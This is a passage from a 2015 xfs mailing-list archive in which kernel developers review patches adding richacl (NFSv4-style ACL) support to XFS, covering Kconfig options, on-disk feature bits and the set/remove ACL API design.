>=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com >=20 > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs >=20 From andreas.gruenbacher@gmail.com Sun Oct 11 20:51:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9FBB07F59 for ; Sun, 11 Oct 2015 20:51:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1E011AC001 for ; Sun, 11 Oct 2015 18:51:20 -0700 (PDT) X-ASG-Debug-ID: 1444614676-04cb6c5786ab090001-NocioJ Received: from mail-wi0-f180.google.com (mail-wi0-f180.google.com [209.85.212.180]) by cuda.sgi.com with ESMTP id cBgc8OF6jcAcKYWy (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 11 Oct 2015 18:51:16 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.180 Received: by wicgb1 with SMTP id gb1so32857594wic.1 for ; Sun, 11 Oct 2015 18:51:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=QqoeLnfaXLJI3uD3KyJbFNU1UuPOB3AwZ+fERRPGGFc=; b=iwVhn8Q/wAmdoAoA4bNJsdwmYd2pSv2BchL3veOit9ArYiJCG8fK8A+CbllC4mdfXD e5URxjUxdvDXSU+Ax8V/KCRUJ69+Rva5baNBto5B7WRaLiwTyeKy3IlQukQ2v1WeKgbz 5yVQlvYuzG6LdhUeES+Ti7Y7NKP2CtaG2YIImdsoe9O8ylz0/G7i5fjINLXo88ZNiFjo uLqVDARLHMBHoFKwZy2OCsHTfcuchQk/Q5dHAyIteAvjwzZqSUqa5GP8XDPF4VXxKK2Z 4stS5u74tUetngxbcSK9o17SenJ7Fi9qytg4TDLNi0BesZEMmQ3DKm1UKAoMl2eF9f53 N4nA== MIME-Version: 1.0 X-Received: by 10.194.52.6 with SMTP id p6mr30713224wjo.119.1444614675679; Sun, 11 Oct 2015 18:51:15 -0700 (PDT) Received: by 10.27.204.87 with HTTP; Sun, 11 Oct 2015 18:51:15 -0700 (PDT) In-Reply-To: <20151012001033.GA27164@dastard> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> <20151012001033.GA27164@dastard> Date: Mon, 12 Oct 2015 03:51:15 +0200 Message-ID: Subject: Re: [PATCH v10 24/46] xfs: Add richacl support From: =?UTF-8?Q?Andreas_Gr=C3=BCnbacher?= X-ASG-Orig-Subj: Re: [PATCH v10 24/46] xfs: Add richacl support To: Dave Chinner Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Linux Kernel Mailing List , Linux FS-devel Mailing List , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Mailing List , Andreas Gruenbacher Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f180.google.com[209.85.212.180] X-Barracuda-Start-Time: 1444614676 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23404 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2015-10-12 2:10 GMT+02:00 Dave Chinner : > On Mon, Oct 12, 2015 at 12:58:35AM +0200, Andreas Gruenbacher wrote: >> diff --git a/fs/ext4/richacl.h b/fs/ext4/richacl.h >> index fc7826f..f26fbdd 100644 >> --- a/fs/ext4/richacl.h >> +++ b/fs/ext4/richacl.h >> @@ -24,7 +24,6 @@ >> >> extern struct richacl *ext4_get_richacl(struct inode *); >> extern int ext4_set_richacl(struct inode *, struct richacl *); >> - >> extern int ext4_init_richacl(handle_t *, struct inode *, struct inode *); >> >> #else /* CONFIG_EXT4_FS_RICHACL */ > > stray hunk. Oops, thanks. >> diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig >> index 5d47b4d..05dd312 100644 >> --- a/fs/xfs/Kconfig >> +++ b/fs/xfs/Kconfig >> @@ -52,6 +52,17 @@ config XFS_POSIX_ACL >> >> If you don't know what Access Control Lists are, say N. >> >> +config XFS_RICHACL >> + bool "XFS Rich Access Control Lists (EXPERIMENTAL)" >> + depends on XFS_FS >> + select FS_RICHACL >> + help >> + Richacls are an implementation of NFSv4 ACLs, extended by file masks >> + to cleanly integrate into the POSIX file permission model. To learn >> + more about them, see http://www.bestbits.at/richacl/. >> + >> + If you don't know what Richacls are, say N. >> + > > So now we have multiple compile time ACL configs that we have to > test. Personally, I see no reason for making either posix or rich > acls compile time dependent. How about we just change CONFIG_FS_XFS > to have "select FS_POSIX_ACL" and "select FS_RICHACL" > unconditionally, and then we can get rid of all the conditional > code? I'm sure neither kind of ACLs makes sense on many tiny systems, it should be possible to disable them. XFS may not make sense on those kinds of systems either, that is not my call to make though. >> diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h >> index 9590a06..8c6da45 100644 >> --- a/fs/xfs/libxfs/xfs_format.h >> +++ b/fs/xfs/libxfs/xfs_format.h >> @@ -461,10 +461,18 @@ xfs_sb_has_ro_compat_feature( >> #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ >> #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ >> #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ >> + >> +#ifdef CONFIG_XFS_RICHACL >> +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ >> +#else >> +#define XFS_SB_FEAT_INCOMPAT_RICHACL 0 >> +#endif >> + > > Regardless of whether we build in richacl support, this is wrong. > Feature bits are on-disk format definitions, so it will always have > this value whether or not the kernel supports the feature. This is so that xfs_mount_validate_sb() will complain when mounting a richacl filesystem on a kernel which doesn't have richacl suport compiled in. The same effect can be had with extra code there of course. >> @@ -722,7 +737,10 @@ xfs_setattr_nonsize( >> * Posix ACL code seems to care about this issue either. >> */ >> if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { >> - error = posix_acl_chmod(inode, inode->i_mode); >> + if (XFS_IS_RICHACL(inode)) >> + error = richacl_chmod(inode, inode->i_mode); >> + else >> + error = posix_acl_chmod(inode, inode->i_mode); >> if (error) >> return error; >> } > > This sort of thing could do with a helper like: > > static inline int > xfs_acl_chmod(struct inode *inode, int mode) > { > if (IS_RICHACL(inode)) > return richacl_chmod(inode, mode); > return posix_acl_chmod(inode, mode); > } Alright. >> +#include "xfs.h" >> +#include "xfs_format.h" >> +#include "xfs_log_format.h" >> +#include "xfs_inode.h" >> +#include "xfs_attr.h" >> + >> +#include >> + >> +struct richacl * >> +xfs_get_richacl(struct inode *inode) >> +{ > > ... > > If we always build in ACL support, this can all go in xfs_acl.c. > >> + struct xfs_inode *ip = XFS_I(inode); >> + struct richacl *acl; >> + int size = XATTR_SIZE_MAX; >> + void *value; >> + int error; >> + >> + value = kmem_zalloc_large(size, KM_SLEEP); >> + if (!value) >> + return ERR_PTR(-ENOMEM); >> + >> + error = xfs_attr_get(ip, XATTR_NAME_RICHACL, value, &size, ATTR_ROOT); >> + if (error) { >> + /* >> + * If the attribute doesn't exist make sure we have a negative >> + * cache entry, for any other error assume it is transient and >> + * leave the cache entry as ACL_NOT_CACHED. >> + */ >> + acl = (error == -ENOATTR) ? NULL : ERR_PTR(error); > > I rather dislike ternaries in code like this - it's hard to read the > logic. Initalise acl to NULL, and then this simply becomes: > > if (error != -ENOATTR) > acl = ERR_PTR(error); As you prefer. >> + } else >> + acl = richacl_from_xattr(&init_user_ns, value, size); >> + >> + if (!IS_ERR(acl)) >> + set_cached_richacl(inode, acl); >> + kfree(value); >> + >> + return acl; >> +} >> + >> +int >> +xfs_set_richacl(struct inode *inode, struct richacl *acl) >> +{ >> + struct xfs_inode *ip = XFS_I(inode); >> + umode_t mode = inode->i_mode; >> + int error; >> + >> + if (acl) { >> + /* Don't allow acls with unmapped identifiers. */ >> + if (richacl_has_unmapped_identifiers(acl)) >> + return -EINVAL; >> + >> + if (richacl_equiv_mode(acl, &mode) == 0) { >> + xfs_set_mode(inode, mode); >> + acl = NULL; >> + } > > Comment needed here - why does this now seem to accidentally fall > through to removing the ACL? Setting an ACL that is equivalent to a file mode is the same as removing any existing ACLs and doing a chmod to that equivalent file mode. It's the sams as with POSIX ACLs, and the code is the same as well. I'll add a comment though. > Also, why is this in the XFS specific > code when it's generic richacl functionality that is being checked? This turns into two non-atomic operations if we move it into generic code. > Also, I really dislike the API where passing a NULL acl means to > "set this acl" actually means "remove the existing ACL". Why no > ->remove_acl method called from the generic code? It's not uncommon, it saves inode operations and wiring-up code. >> +#ifndef __FS_XFS_RICHACL_H >> +#define __FS_XFS_RICHACL_H >> + >> +#include >> + >> +#ifdef CONFIG_XFS_RICHACL >> + >> +#define XFS_IS_RICHACL(inode) IS_RICHACL(inode) > > No. Just use IS_RICHACL() everywhere, and whatever build > conditional that uses. Okay. >> --- a/fs/xfs/xfs_super.c >> +++ b/fs/xfs/xfs_super.c >> @@ -1500,7 +1500,19 @@ xfs_fs_fill_super( >> sb->s_maxbytes = xfs_max_file_offset(sb->s_blocksize_bits); >> sb->s_max_links = XFS_MAXLINK; >> sb->s_time_gran = 1; >> - set_posix_acl_flag(sb); >> + >> + if (xfs_sb_version_hasrichacl(&mp->m_sb)) { >> +#ifdef CONFIG_XFS_RICHACL >> + sb->s_flags |= MS_RICHACL; >> +#else >> + error = -EOPNOTSUPP; >> + goto out_free_sb; >> +#endif >> + } else { >> +#ifdef CONFIG_XFS_POSIX_ACL >> + sb->s_flags |= MS_POSIXACL; >> +#endif > > The whole point of having set_posix_acl_flag() is that it keeps > the ifdef hackery out of the code. If we are going to keep build > time config options for these, then please keep the wrappers to hide > this mess... That can indeed go away since xfs_mount_validate_sb() checks the mount flags already. Thanks, Andreas From andreas.gruenbacher@gmail.com Sun Oct 11 20:53:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 491477F5F for ; Sun, 11 Oct 2015 20:53:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DABCAAC001 for ; Sun, 11 Oct 2015 18:53:11 -0700 (PDT) X-ASG-Debug-ID: 1444614789-04cbb05fc040380001-NocioJ Received: from mail-wi0-f173.google.com (mail-wi0-f173.google.com [209.85.212.173]) by cuda.sgi.com with ESMTP id Z6rrrpcFIeHQOC96 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 11 Oct 2015 18:53:10 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.173 Received: by wicge5 with SMTP id ge5so132187944wic.0 for ; Sun, 11 Oct 2015 18:53:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=reYtc/E/5yPBi1srhbD5MnpzNcwBshxdT29uwigq5gg=; b=SLNVlBMm2iuc16LpyCXRNxLpSncRzLVM31ZsGrbtmtGd26ZUVgTD7Ed9WZ7oB/vDFK ncu4PDDiAuRHYJgaoMoXZtVq2pAasJIBNwj9cfYXmcVzcy9Qtj8TCpkrhlXI+lWbBfeZ X3PpFlWxs7zEjCW8o786w7I2FKWeF3vE2A10/lAaPBTT2yjs7/FAM8iB20KBVQlBvPPc nyQq1tThKht46bFPCf41bv32srz8B71EpTYSS66dBqClg9LG/mOnTF0s9BfjaeTCJWW6 wZpQqdwJfWVdyx/pGrgUMHPDgk8EGQT57ZWv4Lf9iJpXfiPV1I9zTEczsIUtXUvzXhPg tjnA== MIME-Version: 1.0 X-Received: by 10.195.11.232 with SMTP id el8mr26996568wjd.138.1444614788864; Sun, 11 Oct 2015 18:53:08 -0700 (PDT) Received: by 10.27.204.87 with HTTP; Sun, 11 Oct 2015 18:53:08 -0700 (PDT) In-Reply-To: <20151012002200.GB27164@dastard> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-39-git-send-email-andreas.gruenbacher@gmail.com> <20151012002200.GB27164@dastard> Date: Mon, 12 Oct 2015 03:53:08 +0200 Message-ID: Subject: Re: [PATCH v10 38/46] richacl: Add support for unmapped identifiers From: =?UTF-8?Q?Andreas_Gr=C3=BCnbacher?= X-ASG-Orig-Subj: Re: [PATCH v10 38/46] richacl: Add support for unmapped identifiers To: Dave Chinner Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Linux Kernel Mailing List , Linux FS-devel Mailing List , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Mailing List , Andreas Gruenbacher Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f173.google.com[209.85.212.173] X-Barracuda-Start-Time: 1444614789 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23404 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2015-10-12 2:22 GMT+02:00 Dave Chinner : > This was used by the XFS support patch earlier in the series. Bisect > problem here... Yes, I'll fix that up as well. Thanks, Andreas From agruenba@redhat.com Sun Oct 11 22:05:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 74D3A7F54 for ; Sun, 11 Oct 2015 22:05:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 650B7304048 for ; Sun, 11 Oct 2015 20:05:47 -0700 (PDT) X-ASG-Debug-ID: 1444619144-04cbb05fbe41510001-NocioJ Received: from mail-lb0-f170.google.com (mail-lb0-f170.google.com [209.85.217.170]) by cuda.sgi.com with ESMTP id IvgFBvafP9yYmRnE (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 11 Oct 2015 20:05:45 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.170 Received: by lbbk10 with SMTP id k10so17474330lbb.0 for ; Sun, 11 Oct 2015 20:05:43 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=BQ5zMzRaOVReozm3vsZIf5MaaKBRx8yctblNk3HRqYI=; b=J7JTVm6mR159rKZ52YiH/JeVdLBKEQLdsD/41JEUlctXLJoV1Pf4WpgqBGA4zXu9RI O9Sd9HCroYI7vArFrXKx9nEtYcqGdPWd3SNZxrWIZVtyH5KouX4J/pBAnHCDFmM+exjy jn4bh7g+qTMo50z2Gd4vXyQr0qIxZrKzn1fbNAEwh01SjyP2Fl6L67cQ7uujfW+qzsFB AlAldB9O9mXa+D/7FadSUoff1KKEUswGEjxQk9Kf661iiCSVL+2Q/NWi817CLdCJpAad hwHQt+eIQZ83wm2cnGx5wXUPGxaQ+3VXc//wRF8hCZtBii9wuLKeN0Pb0a9q3/MWEyDB 3u1Q== X-Gm-Message-State: ALoCoQltOGy74JmpCyj4DkxvQbiylAHiACymuSvPtyzfWeSsVJXZS40FIhJJFQa2wqWMWVhnLkwV MIME-Version: 1.0 X-Received: by 10.112.205.69 with SMTP id le5mr11468614lbc.89.1444619143880; Sun, 11 Oct 2015 20:05:43 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Sun, 11 Oct 2015 20:05:43 -0700 (PDT) In-Reply-To: <20151012004539.GA31326@dastard> References: <1444569791-26719-1-git-send-email-agruenba@redhat.com> <20151012004539.GA31326@dastard> Date: Mon, 12 Oct 2015 05:05:43 +0200 Message-ID: Subject: Re: [PATCH] xfs: Fix error path in xfs_get_acl From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH] xfs: Fix error path in xfs_get_acl To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f170.google.com[209.85.217.170] X-Barracuda-Start-Time: 1444619145 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23405 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 2:45 AM, Dave Chinner wrote: > Test case for xfstests? I don't see an easy way to trigger this bug. > So the entire patch could simply be replaced by: > > if (error == -ENOATTR) > goto out_update_cache; > + acl = ERR_PTR(error); > goto out; > } If you prefer, yes. Thanks, Andreas From david@fromorbit.com Sun Oct 11 23:05:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 62A4B7F50 for ; Sun, 11 Oct 2015 23:05:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0099FAC002 for ; Sun, 11 Oct 2015 21:05:52 -0700 (PDT) X-ASG-Debug-ID: 1444622748-04bdf020dba6160001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Dl27zb1mCzlAaOpJ for ; Sun, 11 Oct 2015 21:05:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D7FgB/MBtWPCSkLHlegyZUboJdpjYBAQEBAQEGiV1Ta4UahgodgnaCCnkCAgEBAoEjTQEBAQEBAQcBAQEBQT+EJgEBAQMBJwsBIyMQCAMYCSUPBSUDBxoTiCYHvG4BAQEBAQUBAQEBHhmGE4VFhDRZB4MagRQFlhONEoFgh16LD4c+gnQdgWgqM4YhgUkBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 14:35:47 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlUMr-0006TY-JP; Mon, 12 Oct 2015 15:05:45 +1100 Date: Mon, 12 Oct 2015 15:05:45 +1100 From: Dave Chinner To: Andreas =?iso-8859-1?Q?Gr=FCnbacher?= Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Linux Kernel Mailing List , Linux FS-devel Mailing List , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Mailing List , Andreas Gruenbacher Subject: Re: [PATCH v10 24/46] xfs: Add richacl support Message-ID: <20151012040545.GC27164@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 24/46] xfs: Add richacl support References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> <20151012001033.GA27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444622748 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23406 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 03:51:15AM +0200, Andreas Grünbacher wrote: > 2015-10-12 2:10 GMT+02:00 Dave Chinner : > > On Mon, Oct 12, 2015 at 12:58:35AM +0200, Andreas Gruenbacher wrote: > >> diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig > >> index 5d47b4d..05dd312 100644 > >> --- a/fs/xfs/Kconfig > >> +++ b/fs/xfs/Kconfig > >> @@ -52,6 +52,17 @@ config XFS_POSIX_ACL > >> > >> If you don't know what Access Control Lists are, say N. > >> > >> +config XFS_RICHACL > >> + bool "XFS Rich Access Control Lists (EXPERIMENTAL)" > >> + depends on XFS_FS > >> + select FS_RICHACL > >> + help > >> + Richacls are an implementation of NFSv4 ACLs, extended by file masks > >> + to cleanly integrate into the POSIX file permission model. To learn > >> + more about them, see http://www.bestbits.at/richacl/. > >> + > >> + If you don't know what Richacls are, say N. > >> + > > > > So now we have multiple compile time ACL configs that we have to > > test. Personally, I see no reason for making either posix or rich > > acls compile time dependent. How about we just change CONFIG_FS_XFS > > to have "select FS_POSIX_ACL" and "select FS_RICHACL" > > unconditionally, and then we can get rid of all the conditional > > code? > > I'm sure neither kind of ACLs makes sense on many tiny systems, it > should be possible to disable them. XFS may not make sense on those > kinds of systems either, that is not my call to make though. Well, the smallest systems that use XFS are typically 1-2 disk NAS boxes, and I can see them wanting richacls. As it is, the xfs kernel module is almost 1MB of object code, so it you have a small embedded box you don't want XFS. Almost all distros turn on ACL support I'm not sure that it makes sense to have these config options in XFS anymore.... > >> diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h > >> index 9590a06..8c6da45 100644 > >> --- a/fs/xfs/libxfs/xfs_format.h > >> +++ b/fs/xfs/libxfs/xfs_format.h > >> @@ -461,10 +461,18 @@ xfs_sb_has_ro_compat_feature( > >> #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ > >> #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ > >> #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ > >> + > >> +#ifdef CONFIG_XFS_RICHACL > >> +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ > >> +#else > >> +#define XFS_SB_FEAT_INCOMPAT_RICHACL 0 > >> +#endif > >> + > > > > Regardless of whether we build in richacl support, this is wrong. > > Feature bits are on-disk format definitions, so it will always have > > this value whether or not the kernel supports the feature. > > This is so that xfs_mount_validate_sb() will complain when mounting a > richacl filesystem on a kernel which doesn't have richacl suport > compiled in. The same effect can be had with extra code there of > course. If the kernel doesn't know about a feature, then it will report "unknown feature". However, as of this patch set, the kernel will know about the richacl feature, and so the correct error message is to say "Rich ACLs not supported by this kernel". Also, from a disk format perspective, this is a this is a read-only compat feature, as kernels that don't have richacl support are still able to mount and walk the filesystem without errors occurring. It's only when allowing modifications are made that problems will arise, so why did you make it an incompat feature? > >> +int > >> +xfs_set_richacl(struct inode *inode, struct richacl *acl) > >> +{ > >> + struct xfs_inode *ip = XFS_I(inode); > >> + umode_t mode = inode->i_mode; > >> + int error; > >> + > >> + if (acl) { > >> + /* Don't allow acls with unmapped identifiers. */ > >> + if (richacl_has_unmapped_identifiers(acl)) > >> + return -EINVAL; > >> + > >> + if (richacl_equiv_mode(acl, &mode) == 0) { > >> + xfs_set_mode(inode, mode); > >> + acl = NULL; > >> + } > > > > Comment needed here - why does this now seem to accidentally fall > > through to removing the ACL? > > Setting an ACL that is equivalent to a file mode is the same as > removing any existing ACLs and doing a chmod to that equivalent file > mode. It's the sams as with POSIX ACLs, and the code is the same as > well. I'll add a comment though. > > > Also, why is this in the XFS specific > > code when it's generic richacl functionality that is being checked? > > This turns into two non-atomic operations if we move it into generic code. I don't follow you - this isn't an atomic operation to begin with... > > Also, I really dislike the API where passing a NULL acl means to > > "set this acl" actually means "remove the existing ACL". Why no > > ->remove_acl method called from the generic code? > > It's not uncommon, it saves inode operations and wiring-up code. I know it's common. All it does is put extra branches in the filesystem code to do this, because remove is a different operation to set. The API sucks, and we're not limited on inode operations, and the operator overloading makes the filesystem code unnecessarily complex as it has to detect when to branch out ot remove or not... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Oct 11 23:28:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BE3117F50 for ; Sun, 11 Oct 2015 23:28:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE511304048 for ; Sun, 11 Oct 2015 21:28:47 -0700 (PDT) X-ASG-Debug-ID: 1444624123-04cbb05fc142e80001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id GtTDFWX1CN7EV6bk for ; Sun, 11 Oct 2015 21:28:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CeCwAuNhtWPCSkLHlegyaBQoJdg36iOAEBAQEBAQaLG4UahgqDE4IKeQICAQECgSVNAQEBAQEBBwEBAQFBP4QmAQEBBCcTHCMQCAMOBwMJJQ8FJQMHGhOILbxwAQEBAQEFAQEBAR4ZhhOFRYQoWgsHgxqBFAWNDYkGjRKBYJFjiEiEeSozhiEEgUUBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 14:58:28 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlUip-0006VP-T2; Mon, 12 Oct 2015 15:28:27 +1100 Date: Mon, 12 Oct 2015 15:28:27 +1100 From: Dave Chinner To: Brian Foster Cc: Zhaohongjiang , hch@infradead.org, xfs@oss.sgi.com Subject: Re: [PATCH] cancel the setfilesize transation when io error happen Message-ID: 